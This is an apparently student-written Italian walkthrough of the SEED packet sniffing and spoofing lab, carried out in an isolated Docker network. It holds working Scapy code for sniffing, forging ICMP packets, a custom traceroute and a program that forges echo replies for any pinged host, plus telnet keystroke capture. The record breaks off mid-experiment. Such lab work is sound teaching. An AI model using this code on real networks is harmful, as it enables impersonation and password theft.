Packet sniffing e spoofing
Costruire packet sniffer e creare pacchetti falsificati con Scapy e C/libpcap dentro una rete Docker controllata, per capire come un attaccante può ascoltare passivamente il traffico di rete e falsificarlo attivamente.
Contesto
Da dove è partito
Ogni pacchetto su una rete è esposto a livello di link layer: qualsiasi host che vede il traffico può leggerlo, e qualsiasi host può fingersi qualcun altro semplicemente scrivendo un indirizzo sorgente falso in un pacchetto. Questi due fatti sono la base di due attacchi classici: lo sniffing, cioè catturare passivamente traffico che non era destinato a te, e lo spoofing, cioè falsificare attivamente pacchetti che sembrano arrivare da qualcun altro.
Questo writeup documenta il mio lavoro sul lab SEED “Packet Sniffing and Spoofing” per il corso di Ethical Hacking. Il Task 1 usa Scapy, una libreria Python per manipolare pacchetti, per costruire uno sniffer, fare spoofing di pacchetti ICMP, implementare un traceroute fatto in casa e infine combinare sniffing e spoofing in un programma che fa sembrare vivo qualsiasi host a cui si fa ping. Il Task 2 ricostruisce lo sniffer in C sopra libpcap, la stessa libreria su cui si basano tcpdump e Wireshark, e si chiude con la classica dimostrazione del perché telnet non andrebbe mai usato: catturare una password un tasto alla volta.
Setup del lab
Tutto gira nel solito ambiente Docker di SEED: un container dell’attaccante in modalità host network e due host vittima, host A e host B, su una rete isolata 10.9.0.0/24, quindi niente esce dal lab. Con i container avviati:
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% dockps
6a43bb499b43 seed-attacker
f03d4f4306c4 hostB-10.9.0.6
408de82b15da hostA-10.9.0.5
Il container dell’attaccante gira in modalità host network, quindi condivide l’hostname dell’host: i prompt della shell mostrano zoroark, la mia macchina, invece di seed-attacker. I prompt che iniziano con raul@zoroark sono sull’host vero e proprio; root@zoroark e student@zoroark sono dentro il container dell’attaccante.
Obiettivo
Cosa volevo capire
Il manuale SEED divide il lavoro in due task: uno obbligatorio in Python con Scapy e uno facoltativo in C con libpcap.
Task 1 (obbligatorio): sniffing e spoofing con Scapy
- 1.1A: costruire uno sniffer, eseguirlo con e senza privilegi di root e spiegare la differenza.
- 1.1B: aggiungere filtri BPF: catturare solo i pacchetti ICMP, poi solo i pacchetti TCP da un IP specifico verso la porta di destinazione 23.
- 1.2: fare spoofing di una ICMP echo request da un IP sorgente falso, così che la vittima risponda a qualcun altro.
- 1.3: implementare traceroute da zero e confrontarlo con quello vero.
- 1.4: combinare sniffing e spoofing per rispondere ai ping degli altri host al posto di qualsiasi IP, che esista o no.
Task 2 (facoltativo): lo stesso gioco in C con libpcap
- 2.1A: capire lo scheletro di sniffer fornito, spiegare perché ha bisogno di root e sperimentare con la modalità promiscua.
- 2.1B: scrivere espressioni di filtro pcap per i pacchetti ICMP tra due host specifici e per i pacchetti TCP con porta di destinazione tra 10 e 100.
- 2.1C: il gran finale classico: fare sniffing di una sessione telnet e catturare la password.
Task 1.1A
Task 1 (obbligatorio) — uno sniffer Scapy, con e senza root
Parte A
In the above program, for each captured packet, the callback function print_pkt() will be invoked; this function will print out some of the information about the packet. Run the program with the root privilege and demonstrate that you can indeed capture packets. After that, run the program again, but without using the root privilege; describe and explain your observations.
Quindi ho modificato il semplice sniffer che il professore ci aveva dato nella consegna:
#!/usr/bin/env python3
from scapy.all import *
import sys
iface = 'br-9d74a86fb5a6'
flt = sys.argv[1] if len(sys.argv) > 1 else 'icmp'
def print_pkt(pkt):
pkt.show()
print(f"[*] Sniffing on {iface}, filter: '{flt}'")
sniff(iface=iface, filter=flt, prn=print_pkt)
e dentro il container dell’attaccante lo sniffer sembra funzionare:
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% docksh seed-attacker
root@zoroark:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var volumes
root@zoroark:/# cd volumes/
root@zoroark:/volumes# ls
sniff.py
root@zoroark:/volumes# python3 sniff.py
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
Ora proviamo a generare traffico tra hostA e hostB:
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% dockps
[sudo] password for raul:
6a43bb499b43 seed-attacker
f03d4f4306c4 hostB-10.9.0.6
408de82b15da hostA-10.9.0.5
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% docksh 408
[sudo] password for raul:
root@408de82b15da:/# ping -c 10 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.135 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.111 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.117 ms
64 bytes from 10.9.0.6: icmp_seq=4 ttl=64 time=0.138 ms
64 bytes from 10.9.0.6: icmp_seq=5 ttl=64 time=0.106 ms
64 bytes from 10.9.0.6: icmp_seq=6 ttl=64 time=0.099 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=64 time=0.092 ms
64 bytes from 10.9.0.6: icmp_seq=8 ttl=64 time=0.102 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.091 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.137 ms
--- 10.9.0.6 ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9237ms
rtt min/avg/max/mdev = 0.091/0.112/0.138/0.017 ms
root@408de82b15da:/#
e lo sniffer sembra aver catturato il traffico. Riporto solo una voce come esempio, altrimenti verrebbe troppo lungo:
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
###[ Ethernet ]###
dst = 66:5b:79:29:44:f7
src = 6a:de:8a:34:bd:71
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 63816
flags = DF
frag = 0
ttl = 64
proto = icmp
chksum = 0x2d44
src = 10.9.0.5
dst = 10.9.0.6
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0x75c6
id = 0x250a
seq = 0x1
###[ Raw ]###
load = 'F\x1b\xc2j\x00\x00\x00\x00\x87\xd5\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
Sorgente e destinazione sembrano corrette. Il resto, a dire il vero, per me è un po’ difficile da capire. E subito dopo arriva la reply:
###[ Ethernet ]###
dst = 6a:de:8a:34:bd:71
src = 66:5b:79:29:44:f7
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 28329
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0xf7e3
src = 10.9.0.6
dst = 10.9.0.5
\options \
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0x7dc6
id = 0x250a
seq = 0x1
###[ Raw ]###
load = 'F\x1b\xc2j\x00\x00\x00\x00\x87\xd5\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
Notate che ora sorgente e destinazione sono invertite.
Ho anche fatto ping a host A da host B, per ricontrollare che lo sniffer catturi il traffico in entrambe le direzioni:
root@f03d4f4306c4:/# ping -c 1 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.106 ms
--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.106/0.106/0.106/0.000 ms
root@f03d4f4306c4:/#
Confronto senza root
Ora ci viene chiesto il confronto senza root. Penso di dover aggiungere un nuovo utente non root. Proviamo:
root@zoroark:/volumes# useradd -m student
root@zoroark:/volumes# su student
$ bash
student@zoroark:/volumes$ whoami
student
student@zoroark:/volumes$
Ok, così dovrebbe andare, credo. Riproviamo a fare sniffing:
student@zoroark:/volumes$ python3 sniff.py
python3: can't open file 'sniff.py': [Errno 13] Permission denied
student@zoroark:/volumes$
Permission denied, come previsto: Scapy non può aprire un raw socket senza privilegi di root.
Ok, GLM mi ha fatto notare una cosa interessante:

L’errore NON è quello che cercavamo: è un errore di permessi del file, perché sniff.py appartiene all’utente raul. Ok, riproviamo:
root@zoroark:/volumes# chmod 644 sniff.py
root@zoroark:/volumes# su student
$ bash
student@zoroark:/volumes$ python3 sniff.py
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
Traceback (most recent call last):
File "sniff.py", line 12, in <module>
sniff(iface=iface, filter=flt, prn=print_pkt)
File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 1036, in sniff
sniffer._run(*args, **kwargs)
File "/usr/local/lib/python3.8/dist-packages/scapy/sendrecv.py", line 906, in _run
sniff_sockets[L2socket(type=ETH_P_ALL, iface=iface,
File "/usr/local/lib/python3.8/dist-packages/scapy/arch/linux.py", line 398, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
File "/usr/lib/python3.8/socket.py", line 231, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted
student@zoroark:/volumes$
E adesso otteniamo l’errore che cercavamo.
Task 1.1B
Task 1 (obbligatorio) — filtri BPF, solo ICMP e TCP verso la porta 23
Parte B
Usually, when we sniff packets, we are only interested certain types of packets. We can do that by setting filters in sniffing. Scapy’s filter use the BPF (Berkeley Packet Filter) syntax; you can find the BPF manual from the Internet. Please set the following filters and demonstrate your sniffer program again (each filter should be set separately):
- Capture only the ICMP packet
- Capture any TCP packet that comes from a particular IP and with a destination port number 23.
Hint: Berkeley Packet Filter are used in Wireshark as well, so you can easily try filters on a network capture in Wireshark. Hint: if filter is not working you may need to install tcpdump packet (on Debian-based distro: sudo apt install tcpdump).
Ok, nel codice avevamo già messo il filtro come argv[1]:
flt = sys.argv[1] if len(sys.argv) > 1 else 'icmp'
quindi ora proviamolo con un filtro.
Mando due ping da host A a host B:
root@408de82b15da:/# ping -c 2 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.111 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.121 ms
--- 10.9.0.6 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1027ms
rtt min/avg/max/mdev = 0.111/0.116/0.121/0.005 ms
root@408de82b15da:/#
e dall’host dell’attaccante li vediamo:
root@zoroark:/volumes# python3 sniff.py "icmp"
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
###[ Ethernet ]###
dst = 66:5b:79:29:44:f7
src = 6a:de:8a:34:bd:71
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 34455
flags = DF
frag = 0
ttl = 64
proto = icmp
chksum = 0x9ff5
src = 10.9.0.5
dst = 10.9.0.6
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0x1989
id = 0x250b
seq = 0x1
###[ Raw ]###
load = '- \xc2j\x00\x00\x00\x00\t\r\x02\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
###[ Ethernet ]###
dst = 6a:de:8a:34:bd:71
src = 66:5b:79:29:44:f7
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 20521
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0x1664
src = 10.9.0.6
dst = 10.9.0.5
\options \
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0x2189
id = 0x250b
seq = 0x1
###[ Raw ]###
load = '- \xc2j\x00\x00\x00\x00\t\r\x02\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
ma se provo con qualcosa di diverso, come:
root@408de82b15da:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f03d4f4306c4 login: seed
Password:
Login incorrect
f03d4f4306c4 login:
Login timed out after 60 seconds.
Connection closed by foreign host.
root@408de82b15da:/#
(momento telnet), fammi sistemare… (sospiro)
Su host B reimposto la password dell’utente seed:
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% dockps
[sudo] password for raul:
6a43bb499b43 seed-attacker
f03d4f4306c4 hostB-10.9.0.6
408de82b15da hostA-10.9.0.5
[raul@zoroark ~/University/Cybersecurity/ethicalHacking/labs/sniffingSpoofing/Labsetup]% docksh f03
root@f03d4f4306c4:/# id seed
uid=1000(seed) gid=1000(seed) groups=1000(seed)
root@f03d4f4306c4:/# echo 'seed:deesl' | chpasswd
root@f03d4f4306c4:/#
Ok, direi che va meglio:
root@408de82b15da:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
f03d4f4306c4 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 7.2.8-arch1-1 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
seed@f03d4f4306c4:~$
Torniamo a noi.
Scrivo un solo carattere, senza premere Invio:
seed@f03d4f4306c4:~$ a
e dall’attaccante ottengo:
root@zoroark:/volumes# python3 /volumes/sniff.py 'tcp and src host 10.9.0.5 and dst port 23'
[*] Sniffing on br-9d74a86fb5a6, filter: 'tcp and src host 10.9.0.5 and dst port 23'
###[ Ethernet ]###
dst = 66:5b:79:29:44:f7
src = 6a:de:8a:34:bd:71
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x10
len = 53
id = 41902
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x82e8
src = 10.9.0.5
dst = 10.9.0.6
\options \
###[ TCP ]###
sport = 33956
dport = telnet
seq = 2624306028
ack = 945072364
dataofs = 8
reserved = 0
flags = PA
window = 63
chksum = 0x1444
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (3516142477, 1017307669))]
###[ Raw ]###
load = 'a'
###[ Ethernet ]###
dst = 66:5b:79:29:44:f7
src = 6a:de:8a:34:bd:71
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x10
len = 52
id = 41903
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x82e8
src = 10.9.0.5
dst = 10.9.0.6
\options \
###[ TCP ]###
sport = 33956
dport = telnet
seq = 2624306029
ack = 945072365
dataofs = 8
reserved = 0
flags = A
window = 63
chksum = 0x1443
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (3516142478, 1017328644))]
Direi bene! Dall’output vediamo:
- Pacchetto 1: flag
PA(Push + ACK),len = 53(52 di header + 1 byte) eload = 'a': un singolo tasto, inviato subito. Telnet lavora in modalità carattere, quindi ogni tasto premuto diventa un segmento TCP a sé — non serve premere Invio! - Pacchetto 2: flag
A, nessun payload: un puro acknowledgment TCP per l’eco del carattere da parte del server. L’echovero e proprio (10.9.0.6 → 10.9.0.5) è invisibile perché il filtro cattura solo la direzione del client — il che è anche una bella dimostrazione che il filtro BPF sta facendo il suo lavoro!
Task 1.2
Task 1 (obbligatorio) — spoofing di ICMP echo request con una sorgente falsa
Please make any necessary change to the sample code, and then demonstrate that you can spoof an ICMP echo request packet with an arbitrary source IP address.
Ok, ci viene dato questo codice di esempio:
ip = IP()
ip.dst = '10.0.0.1'
icmp = ip/ICMP()
sendp(icmp)
ma dobbiamo modificarlo in modo che le richieste sembrino arrivare da host A, indirizzate a host B. Penso che questo possa funzionare, vediamo:
#!/usr/bin/env python3
from scapy.all import *
print("[*] Sending spoofed ICMP echo request: 10.9.0.5 -> 10.9.0.6")
send(IP(src='10.9.0.5', dst='10.9.0.6')/ICMP(type=8, code=0))
Partiamo semplici.
Ora il piano: in uno dei terminali dell’attaccante avvio lo sniffer:
root@zoroark:/volumes# python3 /volumes/sniff.py 'icmp'
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
Su host A guardo cosa arriva:
root@408de82b15da:/# tcpdump -i eth0 icmp -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Sull’attaccante ora lancio lo spoofer:
root@zoroark:/volumes# python3 /volumes/spoof.py
[*] Sending spoofed ICMP echo request: 10.9.0.5 -> 10.9.0.6
.
Sent 1 packets.
root@zoroark:/volumes#
Come risultato, su host A vedo:
10:20:28.412515 IP 10.9.0.6 > 10.9.0.5: ICMP echo reply, id 0, seq 0, length 8
e nello sniffer dell’attaccante vedo:
root@zoroark:/volumes# python3 /volumes/sniff.py 'icmp'
[*] Sniffing on br-9d74a86fb5a6, filter: 'icmp'
###[ Ethernet ]###
dst = 66:5b:79:29:44:f7
src = 66:d7:47:2d:d0:b7
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 28
id = 1
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0x66c4
src = 10.9.0.5
dst = 10.9.0.6
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0xf7ff
id = 0x0
seq = 0x0
###[ Ethernet ]###
dst = 6a:de:8a:34:bd:71
src = 66:5b:79:29:44:f7
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 28
id = 46852
flags =
frag = 0
ttl = 64
proto = icmp
chksum = 0xafc0
src = 10.9.0.6
dst = 10.9.0.5
\options \
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0x0
id = 0x0
seq = 0x0
Si nota una vera incongruenza nello sniffer. Il MAC address src è 66:d7:47:2d:d0:b7, che è quello dell’attaccante, ma come indirizzo IP src vediamo 10.9.0.5, che è quello di host A. A livello 2 il pacchetto sembra arrivare dall’attaccante, ma a livello 3 sembra arrivare da host A.
Poi, guardando l’output di tcpdump, notiamo che host A ha ricevuto una risposta non richiesta: host B ha risposto a una domanda che host A non ha mai fatto.
Notiamo anche che la risposta va a host A, non all’attaccante: il programma di spoofing invia la richiesta e non riceve mai niente indietro. Di per sé, l’attacco di spoofing è un blind attack. Lo sniffer dell’attaccante ha catturato la risposta (il secondo pacchetto, 10.9.0.6 → 10.9.0.5), ma solo perché sta in ascolto sulla stessa LAN, ed è esattamente ciò che sfrutta il Task 1.4.
Task 1.3
Task 1 (obbligatorio) — traceroute da zero con Scapy
The objective of this task is to use Scapy to estimate the distance, in terms of number of routers, between your VM and a selected destination. This is basically what is implemented by the traceroute tool. In this task, we will write our own tool. The idea is quite straightforward: just send an packet (any type) to the destination, with its Time-To-Live (TTL) field set to 1 first. This packet will be dropped by the first router, which will send us an ICMP error message, telling us that the time-to-live has exceeded. That is how we get the IP address of the first router. We then increase our TTL field to 2, send out another packet, and get the IP address of the second router. We will repeat this procedure until our packet finally reach the destination. It should be noted that this experiment only gets an estimated result, because in theory, not all these packets take the same route (but in practice, they may within a short period of time). The code in the following shows one round in the procedure.
Ci viene dato questo codice di esempio:
a = IP()
a.dst = '1.2.3.4'
a.ttl = 3
b = ICMP()
send(a/b)
ma viene anche detto:
If you are an experienced Python programmer (but also if you are not so experienced, it is really easy!), you can write your tool to perform the entire procedure automatically. If you are new to Python programming, you can do it by manually changing the TTL field in each round, and record the IP address based on your observation from Wireshark.
Ora, non sono per niente un esperto di Python, ma una sfida è una sfida.
Dopo un po’, credo che questo funzioni:
#!/usr/bin/env python3
from scapy.all import *
import sys
target = sys.argv[1] if len(sys.argv) > 1 else '8.8.8.8'
max_ttl = 30
print(f"[*] Traceroute to {target}")
for ttl in range(1, max_ttl + 1):
pkt = IP(dst=target, ttl=ttl)/UDP(dport=33434 + ttl)
reply = sr1(pkt, timeout=2, verbose=0)
if reply is None:
print(f"{ttl:2d}: * (no response)")
elif reply.type == 11: # ICMP Time Exceeded -> intermediate router
print(f"{ttl:2d}: {reply.src}")
else: # e.g. ICMP Dest Unreachable (type 3) -> target reached
print(f"{ttl:2d}: {reply.src} (reached target, ICMP type {reply.type})")
break
L’idea è:
- per ogni TTL da 1 a 30, inviare un pacchetto UDP a una porta alta (
33434 + ttl, il range tradizionale di traceroute) consr1(), cioè “invia e aspetta una risposta”; - i router intermedi scartano il pacchetto quando il suo TTL arriva a 0 e rispondono con
ICMP Time Exceeded (type 11); questa risposta rivela l’IP del router, che viene stampato come un hop; - il target stesso non ha niente in ascolto su quella porta UDP, quindi risponde
ICMP Dest Unreachable (type 3): è il segnale che l’abbiamo raggiunto, e il ciclo si ferma.
Non resta che provare:
root@zoroark:/volumes# python3 traceroute.py 8.8.8.8
[*] Traceroute to 8.8.8.8
1: 192.168.10.1
2: 101.56.78.120
3: 101.56.78.120
4: * (no response)
5: * (no response)
6: * (no response)
7: * (no response)
8: * (no response)
9: * (no response)
10: * (no response)
11: * (no response)
12: * (no response)
13: * (no response)
14: * (no response)
15: * (no response)
16: * (no response)
17: * (no response)
18: * (no response)
19: * (no response)
20: * (no response)
21: * (no response)
22: * (no response)
23: * (no response)
24: * (no response)
25: * (no response)
26: * (no response)
27: * (no response)
28: * (no response)
29: * (no response)
30: * (no response)
root@zoroark:/volumes# python3 traceroute.py www.example.com
[*] Traceroute to www.example.com
1: 192.168.10.1
2: 101.56.78.120
3: 101.56.78.120
4: * (no response)
5: * (no response)
6: * (no response)
7: * (no response)
8: * (no response)
9: * (no response)
10: * (no response)
11: * (no response)
12: * (no response)
13: * (no response)
14: * (no response)
15: * (no response)
16: * (no response)
17: * (no response)
18: * (no response)
19: * (no response)
20: * (no response)
21: * (no response)
22: * (no response)
23: * (no response)
24: * (no response)
25: * (no response)
26: * (no response)
27: * (no response)
28: * (no response)
29: * (no response)
30: * (no response)
root@zoroark:/volumes#
Mh. Mmh. Mmh… Cioè, lo script funziona; dopo 3 hop la rete scarta o limita i probe UDP verso le porte alte. Ma il fatto che entrambi i target muoiano allo stesso hop mi conferma più o meno che è una questione di filtering, non dei target.
Proviamo a sistemarlo. E se usassi ICMP echo requests invece di UDP?
#!/usr/bin/env python3
from scapy.all import *
import sys
target = sys.argv[1] if len(sys.argv) > 1 else '8.8.8.8'
max_ttl = 30
print(f"[*] Traceroute to {target} (ICMP echo probes)")
for ttl in range(1, max_ttl + 1):
pkt = IP(dst=target, ttl=ttl)/ICMP(type=8)
reply = sr1(pkt, timeout=2, verbose=0)
if reply is None:
print(f"{ttl:2d}: * (no response)")
elif reply.type == 11: # ICMP Time Exceeded -> intermediate router
print(f"{ttl:2d}: {reply.src}")
elif reply.type == 0: # ICMP Echo Reply -> target reached
print(f"{ttl:2d}: {reply.src} (reached target)")
break
else:
print(f"{ttl:2d}: {reply.src} (ICMP type {reply.type})")
Proviamo…
root@zoroark:/volumes# python3 traceroute.py 8.8.8.8
[*] Traceroute to 8.8.8.8 (ICMP echo probes)
1: 192.168.10.1
2: 101.56.78.120
3: 101.56.78.120
4: * (no response)
5: * (no response)
6: * (no response)
7: * (no response)
8: 8.8.8.8 (reached target)
root@zoroark:/volumes#
Funziona! Stavolta non viene filtrato: l’ICMP echo ha raggiunto il target. Credo che il fatto che gli hop dal 4 al 7 restino silenziosi significhi che quei router non generano messaggi Time Exceeded.
Task 1.4
Task 1 (obbligatorio) — sniff and spoof, rispondere ai ping al posto di qualsiasi host
In this task, you will combine the sniffing and spoofing techniques to implement the following sniff-and-then-spoof program. You need two machines on the same LAN: the VM and the user container. From the user container, you ping an IP X. This will generate an ICMP echo request packet. If X is alive, the ping program will receive an echo reply, and print out the response. Your sniff-and-then-spoof program runs on the VM, which monitors the LAN through packet sniffing. Whenever it sees an ICMP echo request, regardless of what the target IP address is, your program should immediately send out an echo reply using the packet spoofing technique. Therefore, regardless of whether machine X is alive or not, the ping program will always receive a reply, indicating that X is alive. You need to use Scapy to do this task. In your report, you need to provide evidence to demonstrate that your technique works. In your experiment, you should ping the following three IP addresses from the user container. Report your observation and explain the results.
ping 1.2.3.4 # a non-existing host on the Internet
ping 10.9.0.99 # a non-existing host on the LAN
ping 8.8.8.8 # an existing host on the Internet
Hint: You need to understand how the ARP protocol works in order to correctly explain your observation. You also need to know a little bit about routing. The following command help you find the router for a specified destination: ip route get 1.2.3.4 Hint: try to craft the ICMP respose to be as similar as possible to the original one. You have, for instance, to add the right Raw data and to set the correct ICMP parameters.
Ok, passiamo a qualcosa di più complesso.
L’idea è costruire un programma che faccia sembrare vivo ogni host a cui si fa ping, che esista o no.
Quindi, se da host A faccio ping a un IP X, il programma sulla macchina dell’attaccante osserva la LAN e, quando vede una ICMP echo request diretta a X, spara una echo reply falsificata che dice di essere X.
Host A, che ha lanciato il ping, riceve una risposta e conclude che X è vivo.
Quindi dobbiamo combinare i task 1.1 e 1.2. Lo spoofing dell’1.2 era alla cieca; l’1.1 ha aggiunto gli occhi. Combinandoli, possiamo impersonare qualsiasi host verso qualsiasi vittima sulla LAN.
Proviamo:
#!/usr/bin/env python3
from scapy.all import *
iface = 'br-9d74a86fb5a6'
def spoof_reply(pkt):
# Only react to echo requests (type 8); replies (type 0) are ignored,
# including the ones we forge ourselves.
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8 and pkt.haslayer(IP):
ip = pkt[IP]
icmp = pkt[ICMP]
reply = IP(src=ip.dst, dst=ip.src) / \
ICMP(type=0, id=icmp.id, seq=icmp.seq) / icmp.payload
send(reply)
print(f"[*] Spoofed echo reply: {ip.dst} -> {ip.src} (id={icmp.id} seq={icmp.seq})")
print(f"[*] Sniff-and-spoof on {iface}: answering every ICMP echo request")
sniff(iface=iface, filter='icmp', prn=spoof_reply)
Partiamo dall’ultima riga. sniff() cattura i pacchetti filtrando per icmp. prn=spoof_reply è la chiave! Per ogni pacchetto catturato, Scapy chiama spoof_reply(pkt), quindi l’intera struttura del programma è un ciclo di cattura infinito.
Ora, riguardo all’if: reagisce solo quando pkt[ICMP].type == 8, cioè una echo request. Così il programma non reagisce alle proprie falsificazioni, e ignora le risposte vere, come quelle di Google quando si fa ping a 8.8.8.8.
Se la condizione è vera, facciamo uno scambio di indirizzi tra src e dst. La risposta deve sembrare “da X verso host A”, quindi stiamo impersonando X. Quanto a ICMP(type=0, ...), con type = 0 diciamo che è una echo reply, che è quello che ping si aspetta.
Copiamo id e seq della richiesta con id=icmp.id, seq=icmp.seq, dato che ping abbina le risposte alle sue richieste tramite id e seq. Senza gli stessi valori, le nostre risposte verrebbero scartate in silenzio!
E infine / icmp.payload copia i dati Raw (il timestamp + il pattern di riempimento visto nel Task 1.1A). Rende la falsificazione fedele byte per byte. Dato che il timestamp dentro il payload è quello della richiesta originale, l’RTT stampato da ping non è un vero tempo di andata e ritorno verso X: misura solo quanto velocemente l’attaccante vede la richiesta e rimanda indietro la risposta falsificata (l’overhead di elaborazione di Scapy, più la risoluzione ARP al primissimo invio), ed è per questo che vediamo pochi millisecondi invece di un vero RTT di rete.
Ricordate che con send(reply) il pacchetto viene trasmesso a livello 3, quindi Scapy non falsifica il MAC address. Sul cavo la falsificazione è rilevabile, ma per ping è invisibile!
Ok, finita la spiegazione del codice, non resta che provarlo!
Partiamo da 1.2.3.4, un IP inesistente su Internet (speriamo):
root@408de82b15da:/# ping -c 1 1.2.3.4
PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.
64 bytes from 1.2.3.4: icmp_seq=1 ttl=64 time=31.4 ms
--- 1.2.3.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 31.368/31.368/31.368/0.000 ms
root@408de82b15da:/#
Riceviamo una risposta! L’attaccante vede:
root@zoroark:/volumes# python3 sniff_spoof.py
[*] Sniff-and-spoof on br-9d74a86fb5a6: answering every ICMP echo request
.
Sent 1 packets.
[*] Spoofed echo reply: 1.2.3.4 -> 10.9.0.5 (id=9485 seq=1)
Bene, continuiamo con 10.9.0.99, un IP interno alla LAN inesistente:
root@408de82b15da:/# ping -c 1 10.9.0.99
PING 10.9.0.99 (10.9.0.99) 56(84) bytes of data.
From 10.9.0.5 icmp_seq=1 Destination Host Unreachable
--- 10.9.0.99 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
root@408de82b15da:/#
Host A non riceve nessuna risposta! Questo perché ARP non è riuscito a risolvere l’indirizzo, e l’attaccante non ha nemmeno visto il ping! Lo vedremo più in dettaglio dopo.
Infine proviamo con 8.8.8.8, Google, un IP esistente su Internet (ovviamente):
root@408de82b15da:/# ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=13.0 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 13.015/13.015/13.015/0.000 ms
root@408de82b15da:/#
e l’attaccante ha visto tutto e ha risposto:
.
Sent 1 packets.
[*] Spoofed echo reply: 8.8.8.8 -> 10.9.0.5 (id=9487 seq=1)
Aspetta, ttl=118…???
Quella è la risposta vera di Google, non quella di Scapy. Immagino che Google abbia vinto la gara a chi risponde prima. Proviamo con più di -c 1, facciamone 5:
root@408de82b15da:/# ping -c 5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
